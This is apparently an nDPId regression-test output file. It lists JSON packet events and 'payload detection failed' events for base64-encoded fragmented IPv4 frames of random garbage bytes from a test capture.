+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":649873,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4076,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":649884,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4077,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":649897,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4078,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":649904,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4079,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":649911,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4080,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":649917,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4081,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":649924,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4082,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":649931,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4083,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":649938,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4084,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":649945,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4085,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":649953,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4086,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":649972,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4087,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650136,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4088,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650145,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4089,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650152,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4090,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650159,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4091,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650167,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4092,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650174,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4093,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650217,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4094,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650229,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4095,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650236,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4096,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650244,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4097,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650252,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4098,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650260,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4099,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650268,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4100,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650277,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650285,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650293,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650301,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650313,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650321,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650328,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650337,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650349,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650363,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650370,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650377,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650385,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650395,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650406,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650413,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":650421,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 